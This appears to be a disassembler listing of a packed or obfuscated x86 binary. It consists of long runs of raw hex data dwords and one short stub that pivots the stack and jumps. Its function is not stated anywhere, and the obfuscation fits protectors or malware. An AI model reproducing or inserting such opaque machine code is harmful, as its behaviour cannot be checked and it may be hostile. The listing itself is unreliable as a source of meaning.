		dd 6154EA24h, 1E2D8589h, 0B58B0607h, 6070F91h, 152585C6h
		dd 8B530607h, 7330D95h,	4E806h,	6AFC0000h, 0EE88898h, 5F000000h
		dd 0C59948D1h, 2B5778ADh, 42A032C3h, 0D18B6629h, 0EE8505Eh
		dd 0C6000000h, 0ACD5487Dh, 0D613734Bh, 0C979B0F9h, 0D2BE53F6h
		dd 5E16EA2Dh, 24448B5Ah, 5FBE6604h, 0F008BCEh, 1084h, 0BE900h
		dd 4B850000h, 546A8DCAh, 87F8CB84h, 244489D6h, 580CB604h
		dd 0ADB52950h, 5A060705h, 1CBDB5FFh, 8B660607h,	4800FD6h
		dd 53000000h, 8D5A6160h, 0A70F485h, 0F08B6606h,	858DD0FFh
		dd 60A3BCFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	0B3C35141h, 958B4CBDh, 6072EF5h, 0C318589h, 89600607h
		dd 711C9BDh, 6144B706h,	0FF6A206Ah, 0C3195FFh, 49350607h
		dd 0C7535041h, 70E2585h, 106h, 7585C700h, 60702h, 0F000000h
		dd 1482h, 8E800h, 0BD620000h, 181885E5h, 0DE81BE35h, 2406C74Fh
		dd 0BE85Ah, 0F1D30000h,	2629B4E8h, 72EDFFC3h, 0BD835AC1h
		dd 6070129h, 43840F00h,	0F000000h, 287h, 8B57B200h, 7011585h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 64AC2504h, 0A3h,	1CCE8000h, 2F29858Bh, 0E08B0607h
		dd 19FD958Bh, 0BD830607h, 6070BF9h, 0EC850F00h,	89000003h
		dd 715759Dh, 2585C606h,	56060715h, 0CE9h, 48518100h, 0DD810B19h
		dd 0F8E51ECEh, 977F6891h, 5E88BA4h, 0A3000000h,	0EA5501F5h
		dd 2434815Eh, 2261A7A0h, 35BD89h, 0B5FF0607h, 6071CBDh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 68C35545h
		dd 6476914Ch, 8166504Eh, 8D4F24DAh, 0A70F485h, 0B59D8906h
		dd 0FF060711h, 8B5090D0h, 0B58B90F7h, 6072709h,	865BE66h
		dd 32558D8Dh, 800F0607h, 8, 2810Fh, 5A560000h, 0D68B5650h
		dd 240C895Ah, 6AF6BF0Fh, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 99191639h, 0BD950904h
		dd 6806070Dh, 0FDE63EBEh, 38A0F51h, 66000000h, 815AF28Bh
		dd 0D1422404h, 6A0219h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 9AD8CDC3h, 93273E4Fh, 6DB5FFB8h
		dd 66060716h, 9E9F38Bh,	59000000h, 0ED45A3A0h, 72C09650h
		dd 860FD0FFh, 5, 0D4DE8166h, 6DBD8B7Ah,	6A060716h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0A675C353h, 0FFD74EB5h, 5000BE51h, 1295B58Bh, 7F030607h
		dd 67A5BA3Ch, 0C7812477h, 0F8h,	66516CB6h, 0C75AD68Bh
		dd 202447h, 958B6000h, 6070281h, 5479BD83h, 0F00060Eh
		dd 17784h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 15980630h, 0D1E36502h, 4DB58BC4h
		dd 83060731h, 896028C7h, 703399Dh, 21BF6606h, 0F38B6185h
		dd 6A2E07C7h, 6A6469h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 6FE882C3h, 0C86DE461h, 0BD8960F4h
		dd 6072F65h, 610447C7h,	89006174h, 704D9B5h, 698D2906h
		dd 8B060716h, 0E548185h, 0C478906h, 0DE9h, 0C21B7A00h
		dd 309FB3F0h, 0E18B827Dh, 0B58BD1BAh, 6070EC9h,	5485858Bh
		dd 0BF0F060Eh, 84789D6h, 11E8h,	1EDB7000h, 0DB6B2868h
		dd 0B56CB88Bh, 17E7CC4Ch, 840FC178h, 6,	302FC281h, 835E32C2h
		dd 8C0F28C7h, 17h, 11870Fh, 0CE90000h, 2C000000h, 68CC3FE2h
		dd 778C3536h, 0C71979E0h, 6F632E07h, 52006A6Eh,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 153276B7h
		dd 0A3D8AC74h, 5B58BBDh, 0C706072Dh, 69660447h,	6A0067h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 88B0BC3h, 37946268h,	0B2542DF3h, 7D858B90h, 89060E54h
		dd 72935BDh, 0C478906h,	0B7D8501h, 858B0607h, 60E5479h
		dd 84789F8h, 2719B58Bh,	0B58B0607h, 60718FDh, 50006A58h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 6C48EE7Ah, 0F681AD65h, 7E3DEBF1h, 217D8D8Dh,	0BD890607h
		dd 6070119h, 50525091h,	800F52h, 0F000000h, 0F585A31h
		dd 0BE665031h, 5A5AA21Bh, 68BA5058h, 9132CF02h,	0A399501h
		dd 0B5FF0607h, 6073255h, 4E8h, 100000h,	9A74BA00h, 0E9503FB2h
		dd 5, 26667D6Ch, 24448BB2h, 8BFAB204h, 89EAB600h, 0F042444h
		dd 488h, 0CCBA6600h, 6A5866h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 0D2E350C3h, 6FBADA82h
		dd 0FF17C7D3h, 7166DB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0FA0E471Fh, 74C576C0h
		dd 0FFF8629Ch, 45B58BD0h, 0B8060704h, 0
		dd 0E9D38B66h, 13h, 25C7CE24h, 6EA3F34Dh, 79184C21h, 31006521h
		dd 0B771065h, 32840FC0h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 8FAAC350h
		dd 0A5B5FFE7h, 8B060721h, 72059B5h, 1995FF06h, 0B606071Ch
		dd 66C08B5Fh, 21B8C281h, 211BD83h, 75000607h, 65BD8309h
		dd 6070Dh, 53501974h, 2DB8C08Bh, 89000004h, 723A985h, 0F9D8D06h
		dd 0FF0609ABh, 83585BD3h, 70D65BDh, 17740006h, 2DB85350h
		dd 89000004h, 723A985h,	0B09D8D06h, 0FF0609A7h,	60585BD3h
		dd 5EE98060h, 290D9D01h, 33610607h, 7303595h, 0B58B6106h
		dd 6071BF9h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 320497C3h, 9DCFB18Bh, 0BF0F7603h
		dd 0EBC08BD1h, 0FDF09704h, 5E8E97Ch, 0B7640000h, 0A96BC915h
		dd 0A871CF1Bh, 0CE7AD824h, 0BF86E430h, 0DAFBE531h, 0A56DAA1h
		dd 0E5AE4ACh, 105CEAB0h, 1561EFB2h, 0E55827A2h,	7AF0023Bh
		dd 18DBB79Bh, 0B47BD98Ch, 6B3AB530h, 0F60C67C8h, 438F4595h
		dd 0E39622E5h, 0BC3C285h, 5903AF3Eh, 339356A6h,	58DBAA54h
		dd 5F60C0Dh, 9A1565B5h,	466C0FD7h, 40F66930h, 0C897128Dh
		dd 0F60C3375h, 86E49AEAh, 40BB36C4h, 0E1941AE2h, 3373C291h
		dd 9CECF60Ch, 0CD533E6h, 33AF8E5Dh, 60B0F60Ch, 37FF5D10h
		dd 7A1DFAADh, 0C55315A0h, 0FA72C212h, 2FF2FF57h, 0DCAB26A1h
		dd 0F60C3359h, 0E349901Dh, 0D7B1072Fh, 0DEAE8D5Ch, 5FAFF60Ch
		dd 0AF0D590Fh, 0F08A4DE9h, 9CEC9F2Dh, 52B0FC4Ch, 0F553068Ch
		dd 4ED2992Dh, 48FB4B9Bh, 0E69927EAh, 8033C188h,	0F2F149ECh
		dd 5663BB5Eh, 3BB60290h, 1E1A1BDDh, 0FA7E71B3h,	0B101B404h
		dd 4E018B53h, 27EA48FEh, 0FEC01E99h, 8C07BA70h,	26D9672Eh
		dd 0EF5120D6h, 7BF60C5Eh, 52E0A200h, 5221F99Ch,	93C36790h
		dd 79D0h, 30F75500h, 43A1F1A4h,	593DF381h, 0E9860BEh, 0F7550B5Bh
		dd 26F5A834h, 0F60C6715h, 0C87B01CAh, 691CA26Ah, 0DB1832D5h
		dd 0DFC96104h, 67A69564h, 59B7F60Ch, 9590C90h, 0A925BB9h
		dd 2EF2B454h, 773A93C3h, 4626233h, 41C47ACFh, 1, 8B19DB5Dh
		dd 2AB87AD8h, 0AE39FC77h, 29C101AAh, 47F35107h,	0D77AF2A5h
		dd 22B0727Fh, 19B578D6h, 327ECE52h, 0E9259B7h, 14DB7458h
		dd 0B934BA82h, 0C674BEAh, 74C414F6h, 13A163C1h,	23FB9E60h
		dd 0ACCECF96h, 0D0D7D76Ch, 48A62171h, 0F343F680h, 0D093F13Dh
		dd 6A339144h, 6EA467E2h, 379B01EFh, 2417E661h, 39F60C12h
		dd 378033E9h, 3BEDBA94h, 7B93C3A2h, 87h, 9014DB97h, 68CB9A15h
		dd 71F60C67h, 237326AAh, 9043F949h, 68E36932h, 671F1EEDh
		dd 0F040F60Ch, 6629873Ah, 0C77A04CCh, 16742777h, 9B13C654h
		dd 29A15EF8h, 5A21AC86h, 652C8AD6h, 22CE2CDFh, 0DD80C97Ch
		dd 2D843645h, 5DC493C3h, 0E0000000h, 966514DBh,	0F60C67A7h
		dd 2EE16B34h, 64B404DEh, 948D53B1h, 0BA44CD13h,	6D20707Ch
		dd 16521590h, 0F1B739F5h, 0A24C77Dh, 206CF8BFh,	0D85B2AA5h
		dd 85F60CC9h, 0DB9B7F35h, 0B2108B19h, 0F0B366ECh, 0DA731A24h
		dd 2AE03041h, 1798A877h, 2DD0F60Ch, 9EC48615h, 10493C3h
		dd 20000000h, 0D78A12DBh, 772AB679h, 0DBE640E3h, 4F3E8A12h
		dd 0AF7EF96Fh, 0FC139001h, 0FA9457B5h, 0A95CAC32h, 6C9A359h
		dd 92291E6Eh, 3D790599h, 13724FBCh, 119F65C3h, 0BBE0E5Eh
		dd 8750EAADh, 361ADFDh,	8601B440h, 29F93C0Bh, 0F6C5F00Bh
		dd 0F00B2947h, 9EEEC818h, 291819E8h, 9B3EF00Bh,	0E5733683h
		dd 0EC783B99h, 0C14B1371h, 37FA580Bh, 7D02EA9h,	5214C77Dh
		dd 874A97AFh, 4A9A22EBh, 27C571CFh, 0C3852571h,	399CA7Ch
		dd 16Ah, 81744A1Fh, 50153F42h, 0AB2676B7h, 1383A4DCh, 0C79611FCh
		dd 0F00B7C74h, 964999E9h, 9BE77538h, 3BEE7A3Dh,	139962C0h
		dd 0B066F2B5h, 86018F52h, 7CF93C0Bh, 0AB7DF00Bh, 93CA7636h
		dd 60166640h, 0EE48EBADh, 0B97C4BC6h, 0A6F00BB7h, 7F42A056h
		dd 4305A5F1h, 8399CAFFh, 59h, 0F98D4A9Fh, 683CAF7Eh, 3181F60Ch
		dd 49258B6h, 1C488E51h,	0C4D3FEFBh, 3C0BBE74h, 0F60C85F9h
		dd 2B0921C4h, 0E45FDAACh, 0C852615h, 74C796F6h,	0E9F60C85h
		dd 0B96FBF99h, 0A265C33Eh, 12916016h, 0CAF60C8Ah, 6319A36Ch
		dd 0FC3F0E89h, 61F60C85h, 1F75C111h, 0B6h, 9760BE3Bh, 540A5A0Dh
		dd 940F5965h, 69F3BB19h, 0C679B9Ah, 0BE74C4F6h,	88707443h
		dd 7DCDFC13h, 0DA96CCAh, 2470C044h, 0FA824BA9h,	5434F747h
		dd 87A3438Ah, 8E51AF65h, 0B2804F02h, 93F00BDEh,	0D19447CDh
		dd 0D78F073Ch, 0D193F140h, 46159043h, 0F00B18F7h, 0FDA01868h
		dd 44D29825h, 0DA7417F4h, 45C04C0Fh, 58461782h,	0C8B09E67h
		dd 0E1D4CFA2h, 24702676h, 64DF8935h, 1D5A2A95h,	0F1C03BFAh
		dd 0F605A542h, 9144D097h, 0C7176741h, 65F3B614h, 0A37B1EB2h
		dd 0B42F3985h, 1306DAE5h, 0C03B8BFCh, 17E69F62h, 0F00BF924h
		dd 1E99E939h, 0BF9EC4Fh, 6B2171F0h, 744A3B1Fh, 521B79F4h
		dd 1969F3BCh, 0F1B81666h, 6332AD63h, 0FC1AC45Ch, 2BD3A568h
		dd 6E3F689Eh, 0DB8EDEB8h, 0E22EBA7Dh, 8033C184h, 78BB8A05h
		dd 0E5F0021Eh, 0E810DF95h, 7976F183h, 1B792CB0h, 8216C953h
		dd 108847DFh, 4508D56Dh, 0E3D49444h, 0E333C5ADh, 0EB591C97h
		dd 1040FE02h, 0AF72D086h, 5C2BA621h, 8AF14BD9h,	0CD803686h
		dd 9E19C36Fh, 0F803E5DBh, 5006DB84h, 0CC66099Dh, 31BF86E4h
		dd 1A782E7Eh, 1F7DC957h, 0A21DD05Ch, 21B1D6DFh,	530944D3h
		dd 3FDh, 694D1900h, 0DB8E2EDBh,	7B2EBA7Dh, 16C9571Dh, 0B366F0B8h
		dd 4F028E55h, 0F3A62AF1h, 9043E995h, 30E36932h,	0CF8210D2h
		dd 37E1687Eh, 2C890000h, 0E0895024h, 405h, 42D00h, 4870000h
		dd 0C895C24h, 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h
		dd 50243489h, 63325768h, 0B0D5813h, 2D127845h, 0D6D1AD6h
		dd 242C8150h, 69A234Eh,	4EC18159h, 58069A23h, 589468h
		dd 24248900h, 4240481h,	5E000000h, 0E5268h, 240C8900h
		dd 8B08468Fh, 89502434h, 405E0h, 0C0830000h, 24048704h
		dd 2434FF5Ch, 4C48159h,	0E9000000h, 0FFF91A21h,	0ABB93A57h
		dd 67D87023h, 760B38E2h, 0D4B8062Eh, 3060E61h, 28E0FFC5h
		dd 0C5112577h, 365CBB74h, 84F705Eh, 0AD08ED13h,	0BD6FAAFCh
		dd 9622EA9Dh, 8B79F8C6h, 3525BAB0h, 0CF4F7ECFh,	0D1192A77h
		dd 98650797h, 0F65ED794h, 536234F7h, 0E05C4D08h, 452D85B2h
		dd 4C10749Ch, 7C4713A4h, 6576FE1h, 2C48E02Bh, 34870A7h
		dd 774E883Eh, 811AE715h, 9120F1BFh, 51449C8Dh, 0EB0AD31Dh
		dd 375C8204h, 4F0E946h,	17C40000h, 9CB2975h, 8D12F7Bh
		dd 2EDA3884h, 1FE64490h, 3A5B4591h, 6AB63A01h, 6EBA440Ch
		dd 70BC4A10h, 75C14F12h, 85B88702h, 0DAF00205h,	18DB17FBh
		dd 0B47BD98Ch, 0C386E430h, 61248235h, 0C220D3h,	0A447BF72h
		dd 0F07C3F8Ah, 0F28046A4h, 0F48248A6h, 0CD6F1B79h, 0A56CCA1Ah
		dd 58B6691Fh, 0A836F890h, 0DA55A5F5h, 792FB57Ch, 0B78F32C6h
		dd 92DE642Ah, 6CF0B917h, 55B369B9h, 84530692h, 0F60C67BCh
		dd 873109ACh, 67FE3D0Ch, 0E45FF60Ch, 0C672615h,	97E737F6h
		dd 2E7F41E1h, 46BF93C3h, 0DB000000h, 0BC7E18DBh, 0DB2B7B2Eh
		dd 8C4FAD28h, 0BA7B4A00h, 0A2F60C67h, 965827FFh, 0D693C32Eh
		dd 1, 8B19DBF2h, 2AB87AD8h, 0CF6D1977h,	0A72DF654h, 23C63EF1h
		dd 6EFCBE0Bh, 7301C422h, 4CD29AF8h, 47934999h, 8214DB63h
		dd 207E31BFh, 3080D05Eh, 0CF5D1F7Dh, 6AF8BE1Ch,	0E9259B7h
		dd 0A24C75Bh, 1E6EF6BFh, 5461B95Ch, 0C98C078Dh,	0F6A2AB0Ah
		dd 9255A558h, 0B3696655h, 0BA460967h, 911FE13Fh, 68308EDEh
		dd 25DB2BDEh, 0D099F772h, 9927EE4Ch, 82E096E6h,	5AB833B9h
		dd 0A75A10AEh, 1463BB5Eh, 93C37F62h, 864CAAh, 83C74Ah
		dd 0D14C0000h, 0C3B3302h, 26DC2CF6h, 8214DB42h,	6BE636BCh
		dd 6B962CA8h, 7A306ACAh, 0A9A069C7h, 0AC96D8E3h, 570A5AAAh
		dd 0BAE23CDFh, 550B995Ch, 58A430F7h, 5A111ADDh,	7227EC62h
		dd 0A60BDFAFh, 5B11AAD5h, 0F7AA36FDh, 0CF551E7Ch, 0B816CC1Ch
		dd 66AF620Ch, 6A1C6BC3h, 0AA93C412h, 4Ah, 7443BEC6h, 0F60C67C1h
		dd 798B4E9Eh, 0DAE6CC37h, 0B178D68Ch, 4C127023h, 1868F6B8h
		dd 4DE58865h, 0DF2BB980h, 9D60BEFBh, 39FB590Fh,	729F8ABh
		dd 53F60C67h, 6B2E96B0h, 543ADA4Bh, 0C4641ABAh,	93C42802h
		dd 142h, 12DB5E00h, 0B679D78Ah,	40E3772Ah, 8A12DBE6h, 0EB6F4F3Eh
		dd 40C48D29h, 5625A0F0h, 0FC13906Ah, 9AF8ABFBh,	0EC4F1ED7h
		dd 71F00B4Fh, 0F856D121h, 8245A331h, 79F440F6h,	0FD36FFB6h
		dd 56E8AB51h, 0F3B614A6h, 8E51AF65h, 76D44F02h,	0A37228AEh
		dd 0F00B7D92h, 0BC0921C4h, 9975DF9h, 0E6B2AD46h, 64B4D936h
		dd 783F9D18h, 93A271ECh, 0CCF00BE0h, 0A568C67Ch, 0F0839FA4h
		dd 53A3BCE7h, 0F17F42A0h, 5BBAB376h, 0DAA11CDDh, 99CCFE17h
		dd 0EEA4CE5Eh, 7CD6793Bh, 0D622AE71h, 0CB1B7436h, 151B499h
		dd 4AD00000h, 0AA79F474h, 0FC138676h, 5EBC6FBFh, 34920D9Bh
		dd 0DF2FE26Ch, 0BC7FDD29h, 5C1F7D30h, 9EE92E5Dh, 0D28A4DDBh
		dd 0F5A8F8AFh, 2BB69033h, 9053B168h, 0A7063504h, 757F00Bh
		dd 9CB6BB7h, 5199CAEFh,	24B278D6h, 0BABE655h, 712777F0h
		dd 4CEEh, 8D4A0A00h, 40037EF9h,	15DE6F2Eh, 0EF2CC8Fh, 9013E298h
		dd 0EDF60C59h, 116FEA9Dh, 400FC54Bh, 0F60C56FDh, 27051DC0h
		dd 8C5BD6B0h, 0F60C5919h, 3BB67C5h, 0AEFEB13Bh,	7ECEA85Eh
		dd 7AB98803h, 0E3F60C56h, 3B91DD93h, 0B3h, 9760BE57h, 8638F59Ah
		dd 7ACABE1Ch, 511977C7h, 12C818CBh, 13BF9B23h, 239E1969h
		dd 0A978FCC5h, 0F60C958Ah, 52CD83D3h, 137A0183h, 34037EFCh
		dd 0F00BB501h, 0E5409B5Eh, 0F1FB574Fh, 409E51A1h, 45A3EF7Dh
		dd 9620E882h, 904393E3h, 0B5C7DC1h, 1630D3F0h, 307C08CBh
		dd 49057B5h, 95F5F4Eh, 0FE50BF8Eh, 4AC5FA1Dh, 531B87Bh
		dd 0F755A5F6h, 0A4F4A735h, 8043A154h, 0E1943AE6h, 68C64191h
		dd 0AC5F159Fh, 7FDD7518h, 0EBAE293Fh, 6635CB9Ah, 0F60582D7h
		dd 6753888h, 49C184F2h,	0ED788C24h, 3A09843Ah, 0FC13C2D7h
		dd 29A4F040h, 0C77A02CBh, 4ADDC177h, 0B679F474h, 7E08278Fh
		dd 0FB762C90h, 1AC6252Ch, 6F2272FCh, 76C24E11h,	14C75518h
		dd 4BF2A245h, 78D27530h, 0A31EAA6Dh, 3DDA5928h,	3CFFB03Bh
		dd 0D086D6B0h, 0D5632684h, 7618C422h, 0B28C2FC3h, 8CA6427h
		dd 51AF2A7Ah, 252058Bh,	3D85B887h, 8ADAB03Bh, 672A88D4h
		dd 3D026D9h, 0EC000000h, 2EDB694Dh, 0BA7DDB8Eh,	571D7B2Eh
		dd 0F0B816C9h, 8E55B366h, 2AF14F02h, 0E995F3A6h, 69329043h
		dd 10D230E3h, 687ECF82h, 6088h,	68240C89h, 5785h, 68242C89h
		dd 10D5h, 51243489h, 0CB204068h, 0BF57596Ch, 994342A9h
		dd 895FF901h, 0EC8359CDh, 24248904h, 4240481h, 5E000000h
		dd 12FD68h, 242C8900h, 8B08468Fh, 89562434h, 4C681E6h
		dd 81000000h, 4C6h, 24348700h, 242C8B5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5438DD
; ---------------------------------------------------------------------------
		db 0C0h, 9Ch, 0Eh
		dd 0A09BCA81h, 8892B95h, 5AB85686h, 3060E67h, 25E0FFC5h
		dd 717A8247h, 0F87DACF9h, 0FD6C4B14h, 0AC713CDCh, 337E8CBCh
		dd 456AF18Eh, 0FD632FB7h, 0D729A915h, 0A45FC4C7h, 0B02546FAh
		dd 7A09A915h, 23371F33h, 0F11D1C44h, 0D874C333h, 2E7EB6B4h
		dd 0B062D1EFh, 459A3B3h, 0F5352E4Dh, 3C417730h,	363480C4h
		dd 0F10BFE5Bh, 0E864EBEAh, 0Eh,	0FAC3B3F4h, 95EE7123h
		dd 0CA6BE949h, 8166F7ADh, 58B80ADBh, 5AD78B52h,	65FFC081h
		dd 8B660000h, 323ABFD9h, 0EF812D99h, 2D9918E0h,	30FFD98Ah
		dd 5EC8B70Fh, 28A0Fh, 0DE8B0000h, 88A4F681h, 0E6806CADh
		dd 5AEE81DEh, 0F83995FFh, 5C5BEE81h, 0EF80526Bh, 0F30893Ch
		dd 68Dh, 14DA8100h, 8354F271h, 800F02E8h, 0
		dd 8F0F4848h, 1Ch, 13E8h, 163D3700h, 57A954C5h,	2C5908E2h
		dd 0CDC7667Ch, 21D9953Eh, 5BD18B66h, 0F01EF83h,	0FFFF9585h
		dd 8DE88AFFh, 0E696D8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 130EDE52h, 4FCA3D83h
		dd 8D89DE8Bh, 6070A01h,	4A5958Bh, 85C70607h, 60714A5h
		dd 6EA4h, 0D99D8957h, 5F060715h, 2FD585C7h, 607h, 85890000h
		dd 6071D09h, 5E1B5FFh, 81660607h, 0FF1BB3F3h, 71C1995h
		dd 1C8A0F06h, 0E8000000h, 10h, 0B00F54D3h, 43D28A3Fh, 86C5B89Ah
		dd 41B6449h, 0A3D958Bh,	6A5E0607h, 6995FF00h, 8B06071Bh
		dd 0FD0EEBC0h, 0CA4AECCDh, 0E6CFB416h, 22A8A756h, 0C08BADh
		dd 1ABh	dup(0)
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 272DC357h, 52006A18h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 1A844568h
		dd 2D8795A4h, 9DF99140h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 0DCC35343h, 0F9248FD1h, 0F2ADC706h, 0C6816660h
		dd 0F68179B0h, 768F3716h, 6A6161h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 604554C3h, 0E9616160h
		dd 0Ah,	68488ADDh, 1EE4BCA2h, 0F55D7523h, 8244401h, 13E9h
		dd 56EB8F00h, 0C9655092h, 5160886Ah, 0AB704C99h, 34B0FEE8h
		dd 53006A58h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 433CD04Ah, 0E9B3D85Ch, 0Dh, 0E8E54E73h
		dd 6AA14268h, 0E3B94210h, 6AC39DC5h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0B365C355h
		dd 26CC7D62h, 60225448h, 41D91AB9h, 31BA6605h, 6A619Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0F66362C3h, 1890F04h, 0F9000000h, 0B70FC08Bh, 38C0FFBh
		dd 80000000h, 0BF0FDAE8h, 12E080F1h, 820FCF8Bh,	14h, 9E8h
		dd 59FCF400h, 0F8769D68h, 0F5BAFE88h, 594ACFCBh, 0B9FB8B66h
		dd 5BAB6302h, 0AE9h, 0E4388500h, 0AB10498Ah, 0F9AE72C8h
		dd 66D6B70Fh, 6660CA8Bh, 0BB66CE8Bh, 8B613BFDh,	50D781C6h
		dd 6626F264h, 66B400BFh, 2DBAFE8Bh, 0BE1A8841h,	4042B9B4h
		dd 3BFF3DBFh, 3EBF6646h, 0C38BF5E2h, 8AC2BF0Fh,	0CE9D0h
		dd 2EE60000h, 114D2336h, 6424CC3Bh, 81667714h, 60CA0CE2h
		dd 3800Fh, 8B660000h, 61C18BC3h, 0D908BE66h, 1830Fh, 0B6F80000h
		dd 108E0FB7h, 0E9000000h, 0Bh, 9E7C0449h, 0FAEB4399h, 0F93D8CBBh
		dd 1D8E0Fh, 880F0000h, 17h, 12E9h, 382E9000h, 0F1C1FFC7h
		dd 7EBBFC0Eh, 768BF9D3h, 0B77435AEh, 0D18B6696h, 13E8F5h
		dd 0F9E70000h, 0BC11F4F7h, 6864C8FDh, 0B20230FEh, 8ACA3677h
		dd 6800F7Fh, 0F000000h,	8Eh, 0F505E00h,	68Dh, 0B7D68100h
		dd 5B2B3AB0h, 0FC2B70Fh, 0A89h,	4850F00h, 66000000h, 0BFE6D5BEh
		dd 2FBA9563h, 0D182F5B8h, 0C88B664Bh, 66CABF0Fh, 91B8D78Bh
		dd 80663282h, 0DF8B6DC1h, 9E9h,	2F2E9100h, 0EDEFCDFEh
		dd 0DB81C022h, 13CCD8BBh, 0F53D980h, 8Eh, 0F88B6600h, 0AE8h
		dd 0DA5C6500h, 2CE64552h, 51315863h, 13E9h, 0D0266400h
		dd 6E7A7D18h, 0A396059Ah, 0DC5F5EA3h, 0F333B286h, 0F2815F5Eh
		dd 4A6BC162h, 0EF816653h, 0E95B4B97h, 0Ah, 61D2D080h, 3EFEAEF1h
		dd 8EB98AC0h, 66276CD1h, 0B966D78Bh, 81663077h,	0B82745DAh
		dd 55476215h, 0B0F9B70Fh, 8F0F7Ah, 56000000h, 4AB86651h
		dd 0F8595827h, 58A0F60h, 0BE000000h, 9DA5C4Dh, 0BF615CB1h
		dd 69C82BAFh, 7E960h, 12960000h, 36DF1AA1h, 840F6162h
		dd 0
		dd 12E856h, 0F430000h, 0D5F3FF29h, 72601325h, 0DCB955F6h
		dd 4281B98h, 0DE9h, 5E2DAD00h, 2E2EAEA1h, 0C085DDAEh, 5B5B474Bh
		dd 0E875F180h, 0Ch, 0BDA5FDF3h,	9F8DF15Eh, 6945172Ah, 8A5BD2B4h
		dd 59DE81D4h, 0E93F5907h, 0Ch, 0F0C17DBh, 456D7BF8h, 6ADC2377h
		dd 5860Fh, 0A9B80000h, 56434040h, 0A91B44B9h, 7E8586Dh
		dd 0BA000000h, 89D0FD14h, 0A7B21FB7h, 0FF88A5Bh, 0A8Ah
		dd 48E0F00h, 66000000h,	8B08E7B8h, 0C4CD80CAh, 8BF9F9B5h
		dd 6660FCDAh, 605551BAh, 7E960B2h, 3A000000h, 327AE946h
		dd 616185D1h, 5DFCD981h, 13E8046Dh, 0AD000000h,	0B7DAEB63h
		dd 0C8C40A36h, 8C30A825h, 0AC2504E0h, 0E981A17Bh, 15357052h
		dd 14810F5Eh, 0F000000h, 0E83h,	9E900h,	2B9F0000h, 0CA5251CBh
		dd 0E9B7470Eh, 8, 48402EA8h, 0E777B9BEh, 0EE9h,	0E5FC000h
		dd 0DB1A25C2h, 2246C578h, 0F44956Bh, 1089h, 0BE900h, 4F3D0000h
		dd 0EAA4411Bh, 7EB556D4h, 0BE925h, 8B800000h, 0E47FDBEFh
		dd 2FD0B3B3h, 0FF28B00h, 8B66F8B7h, 606053D3h, 5E961h
		dd 0F6340000h, 614577D7h, 5E95158h, 9B000000h, 0EE3E6466h
		dd 12B96659h, 0D6F681BBh, 0B805B014h, 0B91D699h, 0D621B866h
		dd 5800Fh, 81660000h, 0E97962D7h, 0Ah, 0C842792Bh, 0E835CAE3h
		dd 8F0FEFD8h, 15h, 0EE950h, 68B90000h, 2F3CDCFDh, 36FC1B7Ch
		dd 0A5338CB1h, 6DCA815Fh, 0F368283h, 8E0FCAB7h,	1, 10810FF8h
		dd 0E9000000h, 0Bh, 0C08F4D89h,	2A7BDF75h, 0B1C428DBh
		dd 13E9608Dh, 3C000000h, 0B364691h, 8D8CABC4h, 61211D0Ch
		dd 49258B26h, 81667359h, 6164BFDFh, 8DBFF78Bh, 605008A9h
		dd 7E8h, 5D203500h, 0EB740A46h,	7AE18166h, 61F55BC9h, 663ED580h
		dd 9FBBC38Bh, 663291F7h, 8166F18Bh, 808386E6h, 800F82EAh
		dd 6, 830Fh, 0F600000h,	582h, 597CB800h, 0BB667EDBh, 8B61AC50h
		dd 0CE8B66F7h, 12E8h, 6C25C400h, 77E8790h, 8E949B5Eh, 0C7D5259Fh
		dd 5A7492F2h, 0B1BA66F8h, 2850F49h, 8B000000h, 1580B9CFh
		dd 9E91009h, 23000000h,	7F5403DBh, 0DA42A367h, 0CE9h, 0A6878800h
		dd 90F7E537h, 0E7B292F8h, 0E8F88B2Dh, 0Ch, 2C13EE1h, 0EB270659h
		dd 73E2FEEh, 13E8h, 48C6EA00h, 31DCE0F4h, 0D33F409h, 0A9BCFD88h
		dd 0A8F470AFh, 59FEBF0Fh, 9BED8059h, 28F0Fh, 9EB70000h
		dd 66C78B66h, 0BE8F98Bh, 25000000h, 54D62456h, 0C3420220h
		dd 81660E7Bh, 5AFE3EE9h, 0FD6BF0Fh, 886h, 860F5000h, 0
		dd 1850F5Eh, 0F8000000h, 50D2E3BEh, 0DA8B6602h,	6F60C881h
